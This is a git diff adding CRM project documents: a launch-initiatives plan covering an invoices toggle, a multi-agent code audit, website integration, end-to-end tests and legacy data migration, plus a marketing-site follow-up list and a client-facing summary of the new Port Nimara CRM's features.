+   for the rare case where an operator wants to invoice a client
+   directly from the CRM, plus the employee-expense-report flow
+   (`expenses → invoices` PDF).
+
+### Decision (per the existing "intentionally manual elsewhere" branch)
+
+Ship a port-level module toggle, default OFF, identical pattern to
+the Tenancies and Expenses toggles. The Financial report stays
+deferred from launch since the canonical Payments tab feeds the
+Sales report (which is shipping) — separate Financial dashboard adds
+no value when there's no second money-receiving flow.
+
+**What shipped (2026-05-27):**
+
+- `system_settings` registry entry `invoices_module_enabled` (boolean,
+  port-scoped, default `false`) — added to
+  `src/lib/settings/registry.ts`.
+- New module-gate service `src/lib/services/invoices-module.service.ts`
+  with `isInvoicesModuleEnabled(portId)` (same shape as
+  `isExpensesModuleEnabled`).
+- Layout-level guard at `src/app/(dashboard)/[portSlug]/invoices/layout.tsx`
+  — every `/invoices/*` route renders `<ModuleDisabledPage>` when the
+  port hasn't opted in. Admins can flip on from Admin → Settings;
+  historical rows preserved.
+
+**What's NOT changed:**
+
+- API endpoints (`/api/v1/invoices/*`) still respond — historical PDF
+  links + send-flow webhooks keep resolving regardless of the toggle.
+- The `payments` flow is untouched and continues to be the canonical
+  money-received path.
+- The expense → invoice flow (employee expense reports) is
+  unaffected since employee-expense PDFs flow through a different
+  surface (`/expenses`) that lives behind its own module gate.
+
+**Follow-up:** if the user later wants per-port branded
+client-facing invoicing from inside the CRM, the surface is ready to
+turn on with no schema work — just flip `invoices_module_enabled = true`.
+
+---
+
+## Initiative 2 — Multi-agent codebase audit
+
+**Status:** ✅ COMPLETE (2026-06-02) — audit + full remediation shipped.
+17-lane multi-agent audit (3 workflow passes + adversarial verification +
+completeness critic) produced **85 distinct findings** (4 CRITICAL / 17
+HIGH / 29 MEDIUM / 35 LOW), all triaged and remediated across 28
+`fix(audit)` commits; 84 fixed, L21 verified a false positive. tsc-clean,
+1103/1103 unit tests green. Two DB-schema migrations (M23 invoice
+`numeric(12,2)`, M25 `client_contacts` email unique index) deferred with
+their code fixes shipped. Full report + per-finding fix mapping:
+**`docs/audits/2026-06-02/findings-master.md`** (§ Remediation status).
+
+User ask: "deep, multi-agent audit of all routes, naming, text, UX, and
+… dig through the entire code of everything in the system (especially
+related to the sales process) and find any issues in the logic or how
+the functionality interacts with each other, how data is shared and
+persists where needed. Also a deep security audit."
+
+Audit dimensions (use one specialised agent per dimension, in parallel):
+
+| #   | Dimension                     | Specialised agent                        | Output                                                                                                                                                                               |
+| --- | ----------------------------- | ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| 1   | **Sales pipeline logic**      | `feature-dev:code-explorer`              | Trace every stage transition; verify auto-advance rules, EOI gating, deposit handling, contract signing. Look for stale enum references (the 9→7 stage migration left some bugs).    |
+| 2   | **Cross-entity data flow**    | `feature-dev:code-explorer`              | Map polymorphic ownership (yacht/company), interest_berths (multi-berth), document folders (aggregated projection), notes (4-table dispatch). Find divergence between docs and code. |
+| 3   | **Security**                  | `security-review` (existing skill)       | OWASP API Top 10, auth bypass, IDOR, injection, secret leakage, GDPR exposure. Multi-tenant boundary checks (port_id at every join).                                                 |
+| 4   | **API surface consistency**   | `code-review:code-review`                | `{ data: T }` envelope adherence, `errorResponse(error)` usage, `parseBody(req, schema)` usage, 204 vs JSON, withAuth+withPermission composition.                                    |
+| 5   | **UI/UX consistency**         | `frontend-design:frontend-design` review | Visual inconsistencies, copy/text issues, accessibility, mobile parity, brand drift, em-dashes, generic SaaS slop.                                                                   |
+| 6   | **Schema vs code divergence** | `feature-dev:code-explorer`              | Migrations vs Drizzle schema files vs service helpers — find any column the DB has that no service touches, or any service field with no migration.                                  |
+| 7   | **Documenso integration**     | `feature-dev:code-explorer`              | Full v1↔v2 path coverage, webhook idempotency, template field mapping, EOI generation (both pathways), error recovery.                                                               |
+| 8   | **Storage & file lifecycle**  | `feature-dev:code-explorer`              | S3↔filesystem switching, file orphans, signed-URL expiry, GDPR export coverage, magic-byte validation everywhere.                                                                    |
+
+Coordination:
+
+- Use a **single coordinator session** that fans out via `Agent` /
+  `TaskCreate` with `subagent_type` set per dimension. Each agent writes
+  findings to a per-dimension scratch file under
+  `docs/audits/2026-05-27/<dimension>.md`, then the coordinator
+  consolidates into a single triage doc with severity tags.
+- Pass `model: "opus"` on every agent spawn — Sonnet/Haiku context
+  windows compact too fast under MCP baseline (per memory
+  `feedback_subagent_context_bloat`).
+
+Output: `docs/audits/2026-05-27/findings-master.md` with per-finding
+severity (`CRITICAL | HIGH | MED | LOW`), file:line refs, and
+recommended fix. Critical + High get fixed before launch.
+
+---
+
+## Initiative 3 — Marketing website integration
+
+**Status:** OPEN · Needs scope clarification
+
+User ask: "make our relevant edits to the marketing website to prepare
+for the deployment and integration of our new system."
+
+The marketing site lives in `/Users/matt/Repos/Port Nimara/Website`
+(separate Nuxt repo). Integration touch points the CRM exposes today:
+
+- **`/api/public/berths`** + **`/api/public/berths/[mooringNumber]`** —
+  feeds the marketing site's berth list / detail. Status precedence
+  Sold > Under Offer > Available is already wired.
+- **`/api/public/health`** — dual-mode health check; the website should
+  call the authenticated variant (with `WEBSITE_INTAKE_SECRET`) on
+  startup so it refuses to start when pointed at the wrong CRM env.
+- **`/api/public/website-inquiries`** — intake endpoint for the contact
+  form; dual-writes inquiry into the CRM.
+- **Inquiry email ownership** — at cutover, inquiry emails move from
+  the website to the CRM (per memory
+  `project_email_ownership_at_cutover`). Templates + settings keys
+  already exist; berth public endpoint + admin recipient UI still
+  needed (per existing memory).
+- **Cover photography + branding assets** — the new system uses
+  `branding_email_background_url` etc.; ensure the website assets
+  match.
+
+Open work (needs user input on priority):
+
+- Wire the website's contact form to `/api/public/website-inquiries`
+  with the new payload shape.
+- Add the `WEBSITE_INTAKE_SECRET` to the website's env, point at the
+  authenticated `/api/public/health`.
+- Update berth-detail page to consume the new `/api/public/berths/...`
+  shape (the JSON mirrors the legacy NocoDB shape so this should be
+  a no-op — VERIFY).
+- Replace any hard-coded "noreply@portnimara.com" sender on the
+  website side with the CRM-controlled From address (so per-port
+  branding wins).
+- Confirm the website's caching headers don't fight ours
+  (`s-maxage=300, stale-while-revalidate=60` on berth endpoints).
+
+---
+
+## Initiative 4 — End-to-end testing
+
+**Status:** OPEN · Needs scope clarification
+
+User ask: "end to end testing of all sales functions, generating
+EOIs/documents (especially), ensuring all UX/UI is fluid, beautiful,
+relevant and helps the user go through the sales process effortlessly."
+
+Existing infrastructure (per `CLAUDE.md`):
+
+- `tests/e2e/smoke` — fast click-through (~10 min, ~125 specs)
+- `tests/e2e/exhaustive` — deeper UI coverage
+- `tests/e2e/destructive` — archive/delete/cancel paths
+- `tests/e2e/realapi` — opt-in real Documenso + IMAP round-trip
+- `tests/e2e/visual` — pixel-diff baselines
+
+Pre-launch test gaps to fill (proposed):
+
+1. **End-to-end sales journey** (single Playwright spec, real-API): new
+   inquiry → qualified → EOI generated (Documenso) → client signs →
+   developer countersigns → reservation → deposit recorded → contract
+   generated → contract signed → tenancy auto-created → berth marked
+   sold. Assert every stage transition + every email fires.
+2. **EOI generation parity** between both pathways (in-app
+   `fill-eoi-form` vs Documenso template). Same `EoiContext` should
+   produce equivalent PDFs.
+3. **Multi-berth EOI rendering** — berth range formatter assertion
+   (`A1-A3, B5-B7` from `interest_berths`).
+4. **Documenso webhook idempotency** — replay the same `DOCUMENT_COMPLETED`
+   webhook three times; assert single `files.folder_id` write + no
+   duplicate audit-log rows.
+5. **Storage backend swap** — switch port to filesystem, generate EOI,
+   verify file lands; switch back to S3, confirm migrate script moves
+   the blob correctly.
+6. **Visual snapshot refresh** for the new Reports UI + back-button
+   smart-back changes (this conversation).
+7. **Mobile parity** for the entire sales journey (different Playwright
+   project or `--config` variant).
+
+Each gap above becomes one or two new spec files. Coordinate with
+Initiative 2's audit so we don't double-test.
+
+---
+
+## Initiative 5 — Data migration (legacy → new)
+
+**Status:** OPEN · High effort · Likely blocker for cutover
+
+> **Infra cutover plan:** `docs/deployment-plan.md` — prod deploy of the CRM
+> to `crm.portnimara.com` (nginx + certbot + registry-image compose),
+> Gitea/CI access, and the Documenso backup + safe-upgrade procedure. Access
+> (SSH + Gitea API) established 2026-05-31; no prod changes without explicit
+> approval. Deployment creds in `private/deployment-creds.md` (gitignored).
+
+User ask: "start pulling all existing prod data from the old system and
+connected systems (we'll have to backfill the EOIs by pulling them
+through MinIO — it's a fucking mess so I'll really need your help
+automating/speeding up that process) and initiate a preliminary switch
+over."
+
+Sources to drain:
+
+| Source                          | Storage            | Entities                                                       | Notes                                                                                                            |
+| ------------------------------- | ------------------ | -------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------- |
+| Old NocoDB tables               | Postgres / NocoDB  | Clients, yachts, companies, interests, berths, EOIs (metadata) | Already imported in earlier migration; verify currency vs prod NocoDB.                                           |
+| Old portal (`client_portal_v2`) | Nuxt + Postgres    | Portal users, signing history, sent invitations                | Need to confirm what hasn't been migrated yet.                                                                   |
+| MinIO (legacy bucket)           | Object storage     | EOI PDFs (signed + unsigned), receipts, contracts              | The "fucking mess" — naming is inconsistent, organisation unclear, need to map each blob back to its CRM entity. |
+| Documenso v1 (live)             | Documenso server   | In-flight signing envelopes + signed PDFs                      | Migration question: do we cut new EOIs to v2 and let v1 envelopes finish, or migrate the in-flight?              |
+| Email archives                  | IMAP / mail server | Inquiry replies, signing reminders, deposit confirmations      | Probably out of scope for cutover (read-only history).                                                           |
+
+Migration script plan (write under `scripts/migration/`):
+
+1. **`probe-minio.ts`** — scan the legacy MinIO bucket, list every blob,
+   try to extract a client / interest / berth identifier from filename
+   patterns. Produce `docs/migration/minio-blob-inventory.csv` with
+   `key, size_bytes, mime, probable_entity_type, probable_entity_id, confidence`.
+2. **`backfill-eoi-pdfs.ts`** — for each inventoried blob with confidence
+   ≥ HIGH, copy from legacy MinIO into the new storage backend, create a
+   matching `files` row + `documents` row, deposit into the right
+   entity folder via the existing `ensureEntityFolder` helper. Idempotent
+   via `legacy_minio_key` column (add via migration if missing).
+3. **`reconcile-nocodb.ts`** — diff the live NocoDB tables against our
+   imported state; report rows added/changed/deleted since last import.
+4. **`preflight-cutover.sh`** — orchestrator script that runs the three
+   above in order, writes a final report.
+
+Cutover plan:
+
+1. Freeze writes on the old system (NocoDB read-only, portal
+   maintenance page).
+2. Run `preflight-cutover.sh` against frozen sources.
+3. Manual reconciliation of probe-minio rows where confidence < HIGH
+   (likely a few hundred blobs — the user explicitly flagged this is
+   manual labour, automation helps but doesn't replace it).
+4. DNS / website pointer flip.
+5. Watch error_events for 24h; rollback plan = re-enable old system
+   writes and stop the cutover commit.
+
+---
+
+## Cross-initiative open questions
+
+- **When to wrap the launch audit doc.** I'd suggest: after Initiative
+  2's findings are triaged AND Initiatives 3-5 reach IN PROGRESS. At
+  that point this file becomes the launch-day-runbook.
+- **Who's the launch sponsor / decision-maker?** Different from
+  "user / matt"? Affects who signs off on cutover.
+- **Soft launch vs hard cutover?** Hard cutover is simpler operationally
+  but risky; soft launch (parallel writes for a week) is safer but
+  requires the old system to keep accepting writes for longer.
+
+---
+
+## 2026-06-01 — Feature-completeness sweep & launch-prep decisions
+
+A read-only sweep (ahead of the ~same-day launch) checked the whole
+platform for half-built / stubbed surfaces beyond the known Reports
+gaps. It resolved two stale-doc contradictions: **Documenso signing
+phases 2–7 are fully built and wired** (`BACKLOG.md` §A is stale on
+this), and the **interest Contract/Reservation tabs are fully built**
+(not "coming soon" cards). Findings + decisions below.
+
+**Decision (per Matt, 2026-06-01):** launch is ~today, so **ship what's
+done, hide what's not, defer the big builds** — do NOT revert to the old
+desktop-spreadsheet reports (a downgrade), and do NOT rush the
+unproven full builds onto a same-day prod launch.
+
+### Shipped today (launch-prep, low-risk; SHIPPED)
+
+- **Hid Financial + Marketing report cards** from the reports landing
+  (`reports/page.tsx`) — both were "Builder in development" placeholders
+  gated on unbuilt data sources (Init 1b/1c). The reports section ships
+  with the working **Sales + Operational + Custom** reports + templates +
+  scheduling + PDF/CSV/Excel exports. The basic Custom builder already
+  covers the old desktop-report use case (entity + columns + date range +
+  export) — parity-plus, not a regression.
+- **Trimmed the Custom-report card copy** so it stops promising
+  group-by/filters/dimensions it doesn't yet have (the builder page
+  header was already honest).
+- **Hid the Bulk Import mockup** from nav + search
+  (`admin-sections-browser.tsx`, `search-nav-catalog.ts`). The static
+  `/admin/import` mockup is now unreachable from the UI (route still
+  resolves by direct URL).
+- **Corrected client-facing doc over-claims** in `features-list.md` +
+  `new-system-feature-summary.md` (removed the waiting-list
+  "next-in-line notification" claim — built but hidden; removed Import
+  from the admin-pages list, 43→42).
+
+### Deferred to post-launch (tracked here; none launch-blocking)
+
+- **Full Bulk CSV/XLSX importer** — design APPROVED + spec written:
+  `docs/superpowers/specs/2026-06-01-bulk-import-design.md` (generic
+  engine + per-entity adapter registry; 7 entities; column-mapping,
+  dry-run, dedup, per-batch undo). Cutover data migration runs through
+  the existing CLI scripts (`import-berths-from-nocodb.ts` + the
+  Initiative 5 migration scripts), so the UI importer is **not needed
+  for launch**.
+- **Full Custom-report builder** — group-by + aggregates, sort,
+  per-column filter rows (AND/OR), debounced live preview, the remaining
+  6 of 10 entities, per-role PII column whitelist. Architecture decided
+  (per-column expression map + generic Drizzle query composer); spec
+  deferred. Basic builder ships as-is.
+- **Berth Waiting List** — ✅ **SHIPPED in 8be7a6e2.** `WaitingListManager`
+  tab un-hidden + wired. _Still deferred: the availability-triggered
+  next-in-line notification (today only a `notifyPref` column is stored;
+  no sender exists)._
+- **Berth Maintenance Log** — ✅ **SHIPPED in 8be7a6e2.** UI tab mirroring
+  the waiting-list manager, on the existing API + service.
+- **Contract/Reservation paper-upload misroute (BUG)** — ✅ **SHIPPED in
+  d98aa5cc.** Added contract/reservation paper-upload endpoints +
+  pointed `ExternalEoiUploadDialog` at the right one per docType, so a
+  paper-signed contract/reservation no longer files as an EOI.
+- **Marketing + Financial reports** — remain unbuilt + now hidden; gated
+  on Init 1b (website UTM/inquiry cutover) and Init 1c (invoices-module
+  decision) respectively.

docs/marketing-site-followups.md

@@ -0,0 +1,37 @@
+# Marketing-site followups
+
+Items that require edits to the **separate marketing-site repo** (port-nimara.com / portnimara.com), not the CRM. These can't ship from this codebase; they're parked here so they don't get lost when we drain the CRM audit doc.
+
+Last updated: 2026-05-26.
+
+---
+
+## Umami analytics — Phases 4a, 3, 5
+
+**Source:** `docs/superpowers/audits/alpha-uat-master.md` — Umami follow-ups parked at end of the 2026-05-19 build session.
+
+- **Phase 4a — Marketing-site instrumentation.** The CRM's Umami integration (Phase 4b — pixel + tracked-link events on outbound sales emails) is shipped. Phase 4a is the parallel work on the marketing site: add the Umami tracking script to every page, instrument the public berth inquiry form submission, instrument the "request more info" buttons, and confirm session-level attribution flows back to the same Umami workspace the CRM reads.
+- **Phase 3 — Events tab.** Once 4a lands, the CRM's `/admin/website-analytics` page gets an Events tab that lists every named Umami event (inquiry-submitted, brochure-downloaded, berth-details-viewed, contact-clicked, …) with counts, top-source breakdown, and a 30-day trendline. Backend already proxies `/api/umami/events`; UI surface is the missing piece. Blocked on 4a sending real event data.
+- **Phase 5 — Funnels.** Multi-step funnel widget on the dashboard ("landed on /berths → opened a berth → submitted inquiry → was created as a CRM interest → reached EOI stage"). Joins Umami sessionId with the CRM's `interests.umamiSessionId` snapshot we already write. Blocked on 4a so the first three steps have real data to consume.
+
+---
+
+## Email-tracking end-to-end verification
+
+**Source:** alpha-uat-master.md — Bucket 2 Umami follow-ups.
+
+- **Verify the pixel + tracked-link with a real send** — flip `email_open_tracking_enabled = true` for port-nimara, send a real sales email to a personal inbox, open it in Mail.app + Gmail web, confirm: (a) a `document_send_opens` row appears, (b) `open_count` + `first_opened_at` increment on the parent row, (c) Umami records an `email-opened` event. Same drill for `/q/<slug>` short-links once the composer ships them. Cannot be automated — needs a real human inbox. This is a CRM-side manual UAT step but it depends on the marketing-site short-link redirector being live.
+
+---
+
+## Public berth endpoint email recipient UI (parking note)
+
+**Source:** memory — "Email ownership at cutover" (`project_email_ownership_at_cutover.md`).
+
+When the marketing site cuts over and inquiry emails route through the CRM rather than the website's own SMTP, the public berth endpoint + the admin recipient UI need to be in place. Templates + settings keys exist on the CRM side; the marketing-site side needs the form submission target updated to hit `/api/public/website-inquiries` (or whichever the final endpoint is) instead of the legacy mailto. Coordinate as one rollout.
+
+---
+
+## How to triage when picking these up
+
+Each item here has a CRM-side prerequisite or downstream consumer that's already in place. The work itself lives in the marketing-site repo. When you tackle one, link the marketing-site PR back into this file and tick the item off — keep this doc shrinking, not growing.

docs/new-system-feature-summary.md

@@ -0,0 +1,338 @@
+# Port Nimara CRM — What's New & What's Improved
+
+A client-friendly summary of the new Port Nimara CRM, framed against what the previous system provided. The new platform is a complete, purpose-built CRM that replaces a website + spreadsheet-style data store with a single integrated workspace for sales, berths, documents, communications, and reporting.
+
+> Scope note: this summary covers the features that are ready for the beta launch. The new client portal, the tenancies module, and the new invoicing module are still being finalised and are intentionally not included here.
+
+---
+
+## At a glance
+
+**Previously**, day-to-day sales work happened across three places: the public website (where enquiries landed), the back-end database tool (where data was inspected and edited), and a separate internal portal (where signing, expenses, and a handful of staff tools lived).
+
+**Now**, all of that lives inside a single, branded CRM at `crm.portnimara.com`-style URLs (one per port). The website still publishes berths and accepts enquiries — but those enquiries flow into the CRM and are managed there, from first contact through deposit, contract, and signing.
+
+The CRM is built on a dedicated relational database designed specifically for marina sales workflows, with real-time updates, role-based permissions, a full audit trail, and a clean modern interface that adapts to mobile.
+
+---
+
+## Platform-level upgrades
+
+These improvements apply across every feature area:
+
+- **Purpose-built database.** The system runs on a dedicated relational database (PostgreSQL) modelled specifically for marina sales. Compared with the previous spreadsheet-style data store, it's faster on large data sets, supports rich relationships between entities (clients, companies, yachts, berths, deals, documents), and enforces data integrity so duplicates and broken links don't slip through.
+- **Real-time updates.** When a colleague edits a deal, advances a stage, attaches a file, or completes a signing, every other open window updates within a second. No more "refresh to see what changed".
+- **Per-port branding and configuration.** Each port has its own URL slug, logo, primary colour, default currency, timezone, and email templates. Emails, PDFs, and the in-app shell all pick up the right brand automatically.
+- **Granular role-based permissions.** Roles are defined per resource (clients, berths, documents, expenses, reports, etc.) with separate view / create / edit / delete / export verbs. Admins can override permissions per user as well as per role.
+- **Full audit trail.** Every meaningful change (who, what, before-and-after, when) is recorded, retained for 90 days, and searchable. Used in the activity feed, the field-history popovers, and the admin audit log.
+- **Backups and operational tooling.** Automatic daily database backups, weekly cleanup, configurable retention windows, and a built-in system-monitoring dashboard for staff to verify the queue and integrations are healthy.
+- **Background job queue.** Heavy or slow work (PDF generation, email sending, exports, webhook retries, bounce polling) runs on a managed queue so the interface stays responsive and nothing is silently lost.
+- **GDPR-ready.** One-click Article 15 data exports per client, automatic 30-day cleanup of export bundles, and a permissioned hard-delete flow for Article 17 requests.
+- **Pluggable file storage.** Files live in object storage (S3-compatible) by default, with a one-command migration script to switch backends without rewriting any code.
+
+---
+
+## 1. Sales pipeline
+
+A complete sales CRM where the team manages every deal from first enquiry to contract.
+
+- **Kanban board** across seven canonical stages (Enquiry → Qualified → Nurturing → EOI → Reservation → Deposit Paid → Contract) with drag-and-drop, per-column counts, and completed-deal hiding.
+- **List view** with sorting, filtering, paging, card / table toggle, bulk actions, and saved views per user.
+- **Deal detail page** with tabs for overview, EOI, contract, reservation, documents, contact log, notes, and timeline. Every field is inline-editable in place — no separate edit modal to wade through.
+- **Multi-berth interests.** A single deal can attach multiple berths with three independent flags: which berth is the deal's primary, which are publicly "under offer", and which are included in the EOI bundle. The previous system stored at most a single berth link per enquiry.
+- **Auto-advancing stages.** Deposits hitting their expected amount, EOI completion, contract signing, etc. move the deal forward automatically; staff can intervene if the rules need overriding.
+- **Pipeline rules engine.** Seven configurable triggers (EOI sent, EOI signed, deposit received, contract signed, deal archived, deal completed, berth unlinked) each with auto / suggest / off modes and a per-port target berth status. Admins can tune the rules without engineering involvement.
+- **Outcomes.** Terminal outcomes (won, lost to another marina, lost unqualified, lost no response, cancelled) are captured via an outcome dialog with required reason capture.
+- **Tags, notes, contact log, and activity timeline** on every deal. Tags are inline-editable; notes use a single underlying engine shared across clients, deals, yachts, and companies.
+- **Saved views and recently-viewed.** Each user can pin reusable filter+sort snapshots; recently-viewed items appear in the topbar for quick return.
+- **Lead scoring badge** and **qualification checklist.** Per-port qualifying criteria are admin-defined; each deal shows a checklist and a derived score.
+- **Bulk actions.** Change stage, add/remove tags, archive — with confirmation dialogs and audit-logged outcomes.
+- **Pipeline summary on each client.** All a client's open and historic deals roll up onto their detail page.
+
+_Previously, deal management happened directly inside the back-end data tool — no kanban, no stage workflow, no auto-advance, no tags, no notes per deal, no scoring, and no per-deal timeline._
+
+---
+
+## 2. Berths
+
+Catalog, public-facing feed, recommender, demand signals, and rich per-berth artefacts.
+
+- **Catalog with list and card views**, filterable by status, area, dimensions; every field inline-editable on the detail page.
+- **Public berth feed** at `/api/public/berths` and `/api/public/berths/[mooringNumber]` feeds the marketing site. Output mirrors the previous shape exactly so the website didn't need a rewrite; status is computed with a clear precedence (Sold > Under Offer > Available) and served from a 5-minute cache for fast page loads.
+- **Per-berth PDFs are versioned.** Every upload creates a new version; the current version is the live one. PDFs are parsed automatically through three tiers (form-fields → OCR → optional AI), and the system flags mismatches when the mooring number on the PDF doesn't match the berth.
+- **Per-port brochures.** Multiple brochures supported per port with one default enforced. Same upload + version flow as berth PDFs.
+- **Send-berth-PDF dialog.** Branded email composition that attaches the berth PDF (or shares a signed-URL link when the file is over the size threshold).
+- **Berth recommender.** A pure-SQL ranking that surfaces matching berths per deal via a four-tier ladder (A/B/C/D). Tier B uses heat scoring; weights are configurable in admin so the model can be tuned per port.
+- **Demand heat scoring.** Per-berth demand intensity, shown on the dashboard widget and on each berth's detail panel.
+- **Active interests popover.** Hover/tap any berth to see which deals are currently linked to it.
+- **Bulk price edit.** A sheet for updating prices across many berths at once.
+- **Bulk-add berths wizard** for onboarding new inventory in batches.
+- **Catch-up wizard** to reconcile legacy state when migrating berth data.
+
+_Previously, berths were a flat list with a basic dimension filter on the public site. There was no recommender, no demand heat, no per-berth PDF versioning, no bulk price editor, and no internal berth detail page._
+
+---
+
+## 3. Yachts
+
+First-class yacht records with proper ownership and history.
+
+- **Polymorphic ownership.** A yacht can be owned by either a client (individual) or a company; the system models this correctly throughout — search, documents, pipelines, and reports all respect the discriminator.
+- **Ownership history.** Every transfer is recorded with date and parties; previous owners are visible from the yacht detail.
+- **Yacht transfer dialog** for moving a yacht between owners (client → client, client → company, etc.) with audit trail.
+- **Inline editing** of all dimensions and identifiers; dimensions are normalised and validated.
+- **Yacht picker reused everywhere** — when creating a deal, attaching a document, or filing under an entity, the same searchable picker appears.
+
+_Previously, yachts were not stored as their own records — they were free-text fields on enquiry submissions._
+
+---
+
+## 4. Companies & memberships
+
+First-class company entities with member relationships.
+
+- **Companies list and detail** with tabs for overview, members, owned yachts, and files.
+- **Members management.** Add/remove members with active/inactive state and roles. Membership reach feeds into the documents projection (a client gets to see relevant company files automatically).
+- **Polymorphic ownership.** Companies can own yachts and be the contractual party on a deal, mirrored across the codebase rather than improvised per surface.
+- **Files tab** on company detail showing both directly-attached files and files reaching through related entities.
+
+_Previously, companies did not exist as a separate concept; everything was attributed to a single named individual._
+
+---
+
+## 5. Clients
+
+The detail page each contact deserves.
+
+- **Single detail page** with tabs for overview, deals, yachts, companies, files, contact log, and notes.
+- **Inline editing everywhere.** Name, addresses, phone numbers, emails, sales rep, communication preferences — all editable in place via small inline fields.
+- **Multi-channel contacts.** Multiple emails and phone numbers per client, with primary flagging and canonical normalisation (phone numbers are normalised to a single international format for reliable search and matching).
+- **Audit-driven field history.** Click any field's history icon to see who changed it, when, and what the previous value was.
+- **Tags, notes, and contact log** — all the same shared components as elsewhere, so the experience is consistent.
+- **Pipeline summary.** All a client's deals — open and closed — roll up onto their detail page.
+- **Smart archive / smart restore.** Archive a client and the system handles cascading state (related deals, files) intelligently; restore previews exactly what will come back.
+- **Hard-delete with bulk variant** behind a permission gate, for genuine "remove from the system" requests.
+- **GDPR Article 15 export button.** One click queues a ZIP bundle (JSON + readable HTML) and emails the client a signed download link; the bundle auto-deletes after 30 days.
+- **Dedup engine.** The system surfaces probable duplicates and offers a merge flow that consolidates linked records, notes, files, and audit trail correctly.
+- **Send-documents dialog** for branded multi-attachment sends from any client.
+
+_Previously, contact records were flat rows in the back-end tool — no detail page, no inline editing, no audit history, no GDPR export, no dedup, no per-client deal roll-up._
+
+---
+
+## 6. Documents hub
+
+A nestable folder tree per port with intelligent auto-filing.
+
+- **Tree of folders** with nestable subfolders, drag-and-drop move, rename, soft-rescue delete (children re-parent rather than disappear).
+- **System folders for each entity type** — `Clients/`, `Companies/`, `Yachts/` — auto-populated with per-entity subfolders the first time a record needs one.
+- **Auto-filing on signing.** When a Documenso envelope completes, the signed PDF lands in the right entity folder automatically based on who owns the deal — no manual filing needed.
+- **Aggregated view across relationships.** Open a client and you also see files attached to their companies and yachts, grouped under clear headings (Directly Attached / From Company / From Yacht / From Client). Each group is capped to keep the view skimmable; deeper drill-down is one click away.
+- **Rich file preview.** PDFs render inline; images preview at sensible sizes; everything else gets an icon, type label, and download.
+- **Upload for signing dialog.** Send any file straight into a Documenso signing flow without leaving the documents hub.
+- **In-flight workflow tracker** — see which envelopes are mid-signing across the same aggregated reach.
+- **Permissions** scoped by role: separate `view` and `manage_folders` verbs; system folders are immutable via API to keep the structure clean.
+- **Recent files** surface in the topbar and global search.
+
+_Previously, file management lived in the separate internal portal as a flat S3 file browser with no folder tree, no auto-filing, no aggregated-by-entity view, and no signing-integration on individual files._
+
+---
+
+## 7. EOI generation & Documenso signing
+
+Template-driven EOIs with multi-berth support and resilient signing.
+
+- **Two pathways from one underlying model.** EOIs can be generated through Documenso templates (the primary path) or filled into the in-app EOI PDF directly. Both share the same data context, so any change to a deal is reflected identically.
+- **Multi-berth EOI ranges.** When an EOI bundles multiple berths, the document automatically renders a compact range ("A1–A3, B5–B7") in the Berth Number field, and the CRM UI shows the full set as chips. The catalogued merge tokens are enforced at template-creation time so a mistyped placeholder cannot silently slip into a generated document.
+- **Configurable signing order.** Parallel or sequential signing per port, with a tri-state default ("use template default / always parallel / always sequential").
+- **Automation modes** per deal: manual (staff sends each step), sequential auto (system advances on each signature), or concurrent auto (everyone signs at once). Mode changes are audit-logged.
+- **Idempotent webhook handling.** Documenso retries don't double-write; status changes are normalised across both supported API versions; the system polls every 5 minutes as a safety net if a webhook is missed.
+- **Rejection reasons captured** when a signer declines.
+- **Reminders and voids.** The CRM surfaces send-reminder and void-envelope actions directly from the deal detail.
+- **Embedded signing card** for clients to sign in-app where appropriate.
+- **External EOI upload.** Record an EOI that was signed outside the system (PDF upload + counterparty list) without breaking the rest of the deal flow.
+- **Webhook health card** in admin shows recent deliveries, failures, and a "test now" affordance.
+- **Per-port Documenso configuration.** Each port can target its own Documenso instance, API key, signing order, and redirect URL.
+
+_Previously, signing was a Documenso embed hosted from the internal portal with token-based redirects, no multi-berth range support, no idempotent webhook handling, no automation modes, and no health diagnostics in the UI._
+
+---
+
+## 8. Email send-outs
+
+Branded, audited, configurable outbound mail.
+
+- **Per-port branded templates.** Every transactional email (invites, signing notifications, residential and berth enquiries, contract-related comms, digests, etc.) shares a single branded shell — port logo, blurred overhead background, consistent typography — that picks up the port's branding automatically.
+- **Configurable send-from accounts.** Each port can configure its human send-from (e.g. `sales@portnimara.com`) and its automation send-from (e.g. `noreply@portnimara.com`). SMTP/IMAP credentials are encrypted at rest; API endpoints return only "is set" markers, never the password.
+- **Compose dialog** with rich body (markdown rendered safely with a strict allow-list), multi-attachment, and live preview.
+- **Smart attachment handling.** Files over a configurable per-port size threshold ship as 24-hour signed-URL links instead of attaching directly, keeping email deliverable.
+- **Send rate limit** (50 sends/user/hour) to protect deliverability reputation.
+- **Email audit log.** Every send is recorded with recipient list, body, attachments, and links; admin can browse the full send log.
+- **Inbound bounce monitoring.** A scheduled job (every 15 minutes) reads non-delivery reports and matches them back to the original send so staff know a message bounced.
+- **Email threads** stitched together — replies to a CRM-originated email are threaded under the original.
+- **Tracked-link composer.** Generate per-recipient tracked links so opens and click-throughs can be attributed back.
+- **Per-port template overrides.** Admin can override any transactional template per port without touching code.
+- **Notification digests.** Hourly digest assembled from each user's unread notifications above a threshold.
+
+_Previously, transactional email was sent via Gmail SMTP from string-template builders, with no per-port branding override, no send audit log, no bounce monitoring, no attachment-threshold logic, no rate limiting, and no per-template overrides without a redeploy._
+
+---
+
+## 9. Reports
+
+Live Sales and Operational dashboards, plus a custom builder, scheduling, and exports.
+
+- **Sales report** with KPI strip (deals open, EOIs sent this month, deposits received, win rate, average days-in-stage, conversion by source, etc.), pipeline funnel, stage-velocity chart, source-conversion chart, rep leaderboard, deal-heat panel, win-rate-over-time line, and supporting detail tables. Every filter (stage, lead category, outcome) applies live.
+- **Operational report** with an operational heatmap and signing-box plot — used to spot bottlenecks in the signing/operations pipeline.
+- **Custom report builder (MVP).** Pick an entity, choose columns, pick a date range, and run. Four entities are live at launch; additional entities and column-level controls roll out incrementally.
+- **Save / load / save-as templates.** Any report configuration can be saved as a named template with an optional shareable link, then re-run on demand.
+- **Scheduled runs.** Weekly, monthly, or quarterly cadences; system runs the report on schedule and (optionally) emails the recipients a branded PDF. Run history is browsable in admin.
+- **PDF exports** are server-side rendered with a branded cover page. CSV and Excel exports also available client-side from every list.
+- **Status badges** for each scheduled run so admin can see at a glance which schedules are healthy.
+- **Charts** use a mix of standard chart libraries — simple bars/lines/pies on top of a strong charting library, with heatmaps and funnels handled by a separate engine tuned for that purpose.
+
+_Previously, there were no in-system reports. Staff exported NocoDB views to spreadsheets and built reporting by hand each time._
+
+---
+
